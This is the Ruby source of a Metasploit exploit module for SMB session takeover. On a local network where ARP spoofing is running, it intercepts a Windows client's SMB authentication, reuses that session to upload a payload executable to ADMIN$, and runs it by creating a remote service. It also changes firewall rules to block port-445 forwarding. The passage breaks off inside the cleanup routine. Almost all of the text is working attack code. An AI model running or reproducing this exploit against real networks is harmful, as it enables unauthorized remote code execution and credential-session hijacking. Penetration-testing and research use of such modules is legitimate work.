## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Capture include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Windows SMB Direct Session Takeover', 'Description' => %q{ This module will intercept direct SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to autheticate to another host on the local area network. SMB Direct Session takeover is a combination of previous attacks. This module is dependent on an external ARP spoofer. The builtin ARP spoofer was not providing sufficient host discovery. Bettercap v1.6.2 was used during the development of this module. The original SMB relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. }, 'Author' => [ 'usiegl00' ], 'License' => MSF_LICENSE, 'Privileged' => true, 'Payload' => {}, 'References' => [ ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack'] ], 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => '2021-02-16', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ SERVICE_RESOURCE_LOSS ], 'Reliability' => [ UNRELIABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']), OptString.new('INTERFACE', [true, 'The name of the interface']), OptString.new('DefangedMode', [true, 'Run in defanged mode', true]), OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]) # For future cross LAN work: # OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) ] ) deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT') end def exploit if datastore['DefangedMode'].to_s == 'true' warning = <<~EOF Are you SURE you want to modify your port forwarding tables? You MAY contaminate your current network configuration. Disable the DefangedMode option if you wish to proceed. EOF fail_with(Failure::BadConfig, warning) end print_good('INFO : Warming up...') print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0 @sessions = {} @mutex = Mutex.new @cleanup_mutex = Mutex.new @cleanedup = false @main_threads = [] @interface = datastore['INTERFACE'] # || Pcap.lookupdev unless Socket.getifaddrs.map(&:name).include? @interface fail_with(Failure::BadConfig, "Interface not found: #{@interface}") end @ip4 = ipv4_addresses[@interface]&.first fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3 @mac = get_mac(@interface) fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String) # For future cross LAN work: (Gateway is required.) # @gateip4 = datastore['GATEWAY'] # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3 # @gatemac = arp(tpa: @gateip4) # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String @share = datastore['SHARE'] print_status("Self: #{@ip4} | #{@mac}") # print_status("Gateway: #{@gateip4} | #{@gatemac}") disable_p445_fwrd start_syn_capture start_ack_capture print_status('INFO : This module must be run alongside an arp spoofer / poisoner.') print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.') main_capture ensure cleanup end # This prevents the TCP SYN on port 445 from passing through the filter. # This allows us to have the time to modify the packets before forwarding them. def disable_p445_fwrd if datastore['DisableFwd'] == 'false' print_status('DisableFwd was set to false.') print_status('Packet forwarding on port 445 will not be disabled.') return true end if RUBY_PLATFORM.include?('darwin') pfctl = Rex::FileUtils.find_full_path('pfctl') unless pfctl fail_with(Failure::NotFound, 'The pfctl executable could not be found.') end IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf| pf.write("block out on #{@interface} proto tcp from any to any port 445\n") pf.close_write end IO.popen("#{pfctl} -e", err: '/dev/null').close elsif RUBY_PLATFORM.include?('linux') iptables = Rex::FileUtils.find_full_path('iptables') unless iptables fail_with(Failure::NotFound, 'The iptables executable could not be found.') end IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close else print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") print_error('WARNING : Packet forwarding on port 445 must be blocked manually.') fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.') end print_good('INFO : Packet forwarding on port 445 disabled.') return true end # This reverts the changes made in disable_p445_fwrd def reset_p445_fwrd if datastore['DisableFwd'] == 'false' print_status('DisableFwd was set to false.') print_status('Packet forwarding on port 445 will not be reset.') return true end if RUBY_PLATFORM.include?('darwin') pfctl = Rex::FileUtils.find_full_path('pfctl') unless pfctl fail_with(Failure::NotFound, 'The pfctl executable could not be found.') end IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close elsif RUBY_PLATFORM.include?('linux') iptables = Rex::FileUtils.find_full_path('iptables') unless iptables fail_with(Failure::NotFound, 'The iptables executable could not be found.') end IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close end print_good('INFO : Packet forwarding on port 445 reset.') return true end # This starts the SYN capture thread as part of step two. def start_syn_capture @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do c = PacketFu::Capture.new(iface: @interface, promisc: true) c.capture c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) exists = @mutex.synchronize do @sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions. end next if exists dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst))) # Time for the arp address to be spoofed again. sleep(1.5) @mutex.synchronize do @sessions[packet.tcp_header.tcp_src] = {} @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq @sessions[packet.tcp_header.tcp_src][:active] = true @sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac packet.eth_header.eth_src = str2mac(@mac) packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) packet.to_w(@interface) end end end end # This starts the ACK capture thread as part of step two. def start_ack_capture @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do c = PacketFu::Capture.new(iface: @interface, promisc: true) c.capture c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) @mutex.synchronize do next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] packet.eth_header.eth_src = str2mac(@mac) packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) packet.to_w(@interface) end end end end # This sends an arp packet out to the network and captures the response. # This allows us to resolve mac addresses in real time. # We need the mac address of the server and client. def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff', sha: @mac, spa: @ip4, tha: '00:00:00:00:00:00', tpa: '', op: 1, capture: true) p = PacketFu::ARPPacket.new( eth_src: str2mac(smac), eth_dst: str2mac(dmac), arp_src_mac: str2mac(sha), arp_src_ip: str2ip(spa), arp_dst_mac: str2mac(tha), arp_dst_ip: str2ip(tpa), arp_opcode: op ) if capture c = PacketFu::Capture.new(iface: @interface) c.capture c.stream.setfilter("arp src #{tpa} and ether dst #{smac}") p.to_w(@interface) sleep 0.1 c.save c.array.each do |pkt| pkt = PacketFu::Packet.parse pkt # This decodes the arp packet and returns the query response. if pkt.arp_header.arp_src_ip == str2ip(tpa) return mac2str(pkt.arp_header.arp_src_mac) end return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha end else p.to_w(@interface) end end # This returns a hash of local interfaces and their ip addresses. def ipv4_addresses results = {} Socket.getifaddrs.each do |iface| if iface.addr.ipv4? results[iface.name] = [] unless results[iface.name] results[iface.name] << iface.addr.ip_address end end results end # This is the main capture thread that handles all SMB packets routed through this module. def main_capture # This makes sense in the context of the paper. # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack mc = PacketFu::Capture.new(iface: @interface, promisc: true) mc.capture mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42") mc.stream.each_data do |data| packet = PacketFu::Packet.parse(data) nss = packet.payload[0..3] smb2 = packet.payload[4..-1] # Only Parse Packets from known sessions @mutex.synchronize do if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") case smb2[11..12] when "\x00\x00" # Negotiate Protocol Request smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) # Dialect Count Set To 1 smb_packet.dialect_count = 1 smb_packet.dialects = [smb_packet.dialects.first] smb_packet.negotiate_context_list = [] smb_packet.client_start_time = 0 # Re-Calculate Length: (Optional...) # nss = [smb_packet.to_binary_s.size].pack("N") packet.payload = "#{nss}#{smb_packet.to_binary_s}" when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) if smb_packet.smb2_header.session_id != 0 # Disable Session @sessions[packet.tcp_header.tcp_src][:active] = false @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] # Start Main Thread @main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _| k == packet.tcp_header.tcp_src end }", false) do main_thread(packet) end end end end next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] packet.eth_header.eth_src = str2mac(@mac) packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) packet.recalc packet.to_w(@interface) end end end # This handles a session that has already authenticated to the server. # This allows us to offload the session from the main capture thead. def main_thread(packet) tree_id = 0 # Setup Vars process_id = 0 eth_src = str2mac(@mac) eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) } packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] } packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] } packet.eth_header.eth_src = eth_src packet.eth_header.eth_dst = eth_dst response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1]) print_status('Connecting to the defined share...') request = RubySMB::SMB2::Packet::TreeConnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst) ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src)) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status != 0 print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})") return false end print_status('Regenerating the payload...') code = regenerate_payload tree_id = response_smb2.smb2_header.tree_id process_id = response_smb2.smb2_header.process_id print_status('Uploading payload...') filename = rand_text_alpha(8) + '.exe' servicename = rand_text_alpha(8) request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_attributes.directory = 0 request.file_attributes.normal = 1 request.create_options.directory_file = 0 request.create_options.non_directory_file = 1 request.share_access.read_access = 1 request.share_access.write_access = 1 request.desired_access.read_data = 1 request.desired_access.write_data = 1 request.desired_access.write_ea = 1 request.desired_access.read_attr = 1 request.desired_access.write_attr = 1 request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE request.name = filename.to_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id opts = { servicename: servicename, code: code.encoded } opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64) exe = generate_payload_exe_service(opts) exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index| request = RubySMB::SMB2::Packet::WriteRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.write_offset = 1000 * exe_fragment_index request.buffer = exe_fragment.pack('C*') packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) end print_status("Created \\#{filename}...") request = RubySMB::SMB2::Packet::CloseRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) print_status('Connecting to the Service Control Manager...') request = RubySMB::SMB2::Packet::TreeConnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$" packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_attributes.directory = 0 request.file_attributes.normal = 1 request.create_options.directory_file = 0 request.create_options.non_directory_file = 1 request.share_access.read_access = 1 request.desired_access.read_data = 1 request.share_access.write_access = 1 request.desired_access.write_data = 1 request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_OPEN request.name = 'svcctl' packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl) request = RubySMB::SMB2::Packet::WriteRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.write_offset = 0 request.buffer = bind_req.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::ReadRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.read_length = 1024 request.offset = 0 packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1]) open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04) open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src)) open_scmw_request.lp_database_name = 'ServicesActive' dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(open_scmw_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s) servicename = rand_text_alpha(8) displayname = rand_text_alpha(rand(1..32)) print_status('Creating a new service...') # RubySMB does not support CreateService. stubdata = open_scmw_response.lp_sc_handle.to_binary_s + Rex::Encoder::NDR.wstring(servicename) + Rex::Encoder::NDR.uwstring(displayname) + Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process Rex::Encoder::NDR.long(0x00000003) + # Start: Demand Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path Rex::Encoder::NDR.long(0) + # LoadOrderGroup Rex::Encoder::NDR.long(0) + # Dependencies Rex::Encoder::NDR.long(0) + # Service Start Rex::Encoder::NDR.long(0) * 4 # Password dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' }) dcerpc_request.stub = stubdata request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status == 0x103 response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) end print_status('Closing service handle...') dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24]) dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(csh_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF) open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle open_sw_request.lp_service_name = servicename dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(open_sw_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s) print_status('Starting the service...') ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle) dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(ss_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status == 0x103 response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) end print_status('Removing the service...') # RubySMB does not support DeleteService dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' }) dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) print_status('Closing service handle...') csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle) dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(csh_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.ctl_code = 0x0011C017 request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) print_status("Deleting \\#{filename}...") request = RubySMB::SMB2::Packet::TreeConnectRequest.new request.smb2_header.process_id = process_id request.smb2_header.credit_charge = 1 request.smb2_header.credits = 256 request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1 request.smb2_header.session_id = response_smb2.smb2_header.session_id request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_attributes.directory = 0 request.file_attributes.normal = 1 request.create_options.directory_file = 0 request.create_options.non_directory_file = 1 request.share_access.delete_access = 1 request.desired_access.delete_access = 1 request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_OPEN request.name = filename.to_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::SetInfoRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION request.buffer.delete_pending = 1 request.file_id = response_smb2.file_id packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) return true # Done. end # This sends a packet and captures the response. def get_response(packet) packet.recalc rc = PacketFu::Capture.new(iface: @interface, promisc: true) rc.capture rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}") packet.to_w(@interface) rc.stream.each_data do |data| packet = PacketFu::Packet.parse(data) if packet.instance_of?(PacketFu::TCPPacket) break packet end end end # This generates the TCP header for a new packet based on the previous one. def make_tcp_header(response) PacketFu::TCPHeader.new( tcp_src: response.tcp_header.tcp_dst, tcp_dst: response.tcp_header.tcp_src, tcp_seq: response.tcp_header.tcp_ack, tcp_ack: response.tcp_header.tcp_seq + response.payload.size, tcp_win: response.tcp_header.tcp_win, tcp_flags: { ack: 1, psh: 1 } ) end # This sets the smb2 header flags on the request with the provided values. def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.smb2_header.tree_id = tree_id request.smb2_header.process_id = process_id request.smb2_header.credit_charge = 1 request.smb2_header.credits = 256 request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1 request.smb2_header.session_id = response_smb2.smb2_header.session_id nil end # This converts a string to a binary mac. def str2mac(str) # [str.split(':').join].pack('H*') Rex::Socket.eth_aton(str) end # This converts a binary mac to a string. def mac2str(mac) # mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':') Rex::Socket.eth_ntoa(mac) end # This converts a string to a binary ip. def str2ip(str) # str.split('.').map(&:to_i).pack('C*') Rex::Socket.addr_aton(str) end # This converts a binary ip to a string. def ip2str(ip) # ip.bytes.map(&:to_s).join('.') Rex::Socket.addr_ntoa(ip) end # This converts an integer to a binary ip. def int2ip(int) # [int].pack('N') Rex::Socket.addr_iton(int) end # This cleans up and exits all the active threads. def cleanup @cleanup_mutex.synchronize do unless @cleanedup print_status 'Cleaning Up...' @syn_capture_thread.exit if @syn_capture_thread @ack_capture_thread.exit if @ack_capture_thread @main_threads.map(&:exit) if @main_threads reset_p445_fwrd 